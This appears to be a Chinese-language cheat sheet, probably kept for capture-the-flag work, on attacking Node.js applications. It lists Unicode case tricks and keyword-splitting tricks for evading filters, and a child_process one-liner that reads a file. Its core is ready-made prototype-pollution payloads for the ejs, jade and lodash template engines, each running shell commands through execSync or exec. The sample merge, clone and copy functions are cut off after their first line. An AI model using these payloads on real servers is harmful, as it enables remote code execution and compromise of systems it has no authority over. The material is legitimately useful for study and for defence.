绕过
toUpperCase() / toLowerCase()
特殊字符
'ı'.toUpperCase()='I'
,'ſ'.toUpperCase()='S'
,'K'.toLowerCase()='k'
命令执行 (RCE)
1 | Object.values(require('child_process'))[5]('cat${IFS}/G*>p') |
绕过
关键词
obj.contructor
:obj["contr"+"uctor"]
,obj["constru".concat("ctor")]
,String.fromCharCode(xxx)
this
:eval("th"+"is")
原型链污染
原理
对于语句 object[a][b] = value
如果可以控制a, b, value的值,将a设置为 __proto__
, 就可以给object对象的原型设置一个b属性,值为value,这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
常用污染函数
merge()
1 | function merge(target, source) { |
clone()
1 | function clone(obj) { |
copy()
1 | function copy(object1, object2){ |
常见模板引擎
ejs
1
2
3
4
5
6
7{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); __tmp2"}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}jade
1
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}
lodash
1
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}}